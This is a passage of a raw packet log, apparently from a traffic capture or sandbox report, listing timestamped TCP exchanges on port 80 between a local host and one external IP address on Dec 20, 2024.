Dec 20, 2024 21:13:13.683549881 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.683767080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.684268951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.684374094 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.684401035 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.684459925 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.685169935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.685245037 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.685251951 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.685345888 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.686011076 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.686074018 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.686094999 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.686209917 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.686891079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.687010050 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.687061071 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.687207937 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.687786102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.687861919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.687884092 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.687941074 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.688682079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.688761950 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.688812971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.688918114 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.689616919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.689707041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.689713955 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.689783096 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.690340996 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.690501928 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.690529108 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.690603018 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.691216946 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.691349030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.691373110 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.691450119 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.692097902 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.692256927 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.692282915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.692473888 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.692977905 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.693171978 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.693198919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.693356991 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.693826914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.693977118 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.694004059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.694226980 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.694811106 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.694892883 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.841101885 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.841331959 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.841464043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.841479063 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.841574907 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.841593981 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.841690063 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.841942072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.842178106 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.842448950 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.842628956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.842648029 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.842783928 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.843368053 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.843381882 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.843744993 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.844232082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.844492912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.844631910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.845114946 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.845130920 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.845324039 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.845324039 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.846843004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.846856117 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.846868038 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.846954107 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.847002983 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.847289085 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.847749949 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.847764015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.847836971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.848500967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.848593950 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.848658085 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.848762035 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.849426985 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.849484921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.850361109 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.850379944 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.850457907 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.850507021 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.850682020 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.851171017 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.851186037 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.851322889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.852124929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.852216959 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.852503061 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.852624893 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.852962971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.853029966 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.853096008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.853169918 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.853734970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.854058027 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.854119062 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.854195118 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.854700089 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.854789972 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.855216026 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.855329990 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.855489016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.855701923 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.855715036 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.855812073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.856431961 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.856515884 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.856604099 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.856709957 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.857407093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.857523918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.857551098 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.857606888 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.858238935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.858376980 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.858550072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.858808041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.859189034 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.859200954 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.859298944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.859298944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.860096931 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.860184908 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.860249043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.860533953 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.860893965 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.860907078 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.860959053 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.860959053 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.861845970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.861948967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.862202883 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.862720013 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.862917900 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.863090992 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.863152981 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.863666058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.863743067 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.864240885 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.864320993 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.864331961 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.864342928 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.864418983 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.865068913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.865171909 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.865989923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.866003036 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.866014004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.866137028 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.866137028 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.866813898 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.866919041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.866940022 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.867111921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.867765903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.867903948 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.868550062 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.868562937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.868716002 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.868738890 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.868849993 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.869458914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.869544983 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.869880915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.869980097 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.870321989 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.870424986 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.870558023 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.870661974 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.871196032 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.871208906 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.871362925 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.872087002 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.872098923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.872147083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.872147083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.872998953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.873106003 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.873152018 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.873254061 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.873919010 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.874223948 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.874623060 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.874684095 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.874696016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.874753952 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.874753952 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.875711918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.875724077 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.875775099 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.875775099 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.876691103 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.876789093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.877048969 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.877157927 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.877813101 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.877897978 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.877919912 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.877984047 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.878684044 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.878774881 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.878942966 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.879178047 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.879522085 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.879790068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.880245924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.880265951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.880362034 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.880867004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.881000996 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.881197929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.881419897 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.881458044 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.881489038 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.881824970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.881838083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.881942034 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.882731915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.882818937 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.883461952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.883481026 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.883493900 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.883548021 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.883548021 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.883548021 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.884274960 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.884375095 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.884481907 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.884732008 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.885122061 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.885133982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.885255098 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.885981083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.886071920 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.886861086 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.886951923 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.033190012 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.033286095 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.033312082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.033430099 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.033536911 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.033622026 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.033721924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.033780098 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.033803940 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.033948898 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.034674883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.034787893 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.034847021 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.034876108 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.035511971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.035547018 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.035598040 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.035912037 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.036385059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.036597967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.037266016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.037276983 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.037326097 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.037412882 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.037470102 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.038172007 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.038259983 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.038285971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.038367987 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.038999081 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.039114952 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.039880991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.039891958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.039982080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.040033102 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.040169001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.040731907 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.040853977 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.041130066 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.041306019 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.041594028 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.041711092 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.041734934 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.041920900 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.042562008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.042572975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.042646885 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.043360949 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.043574095 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.043600082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.043704033 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.044323921 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.044385910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.045001030 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.045094967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.045119047 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.045171022 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.045779943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.045905113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.045942068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.046185970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.046880960 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.046892881 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.046997070 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.047056913 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.047159910 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.047743082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.047909975 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.048089027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.048204899 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.048610926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.048681974 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.048692942 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.048748970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.049447060 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.049557924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.050348997 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.050360918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.050523043 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.050544977 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.050642967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.051203012 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.051213980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.051347971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.052073956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.052159071 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.052896976 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.052908897 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.053020954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:14.053040028 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:14.053133011 CET	49849	80	192.168.2.6	31.41.244.11
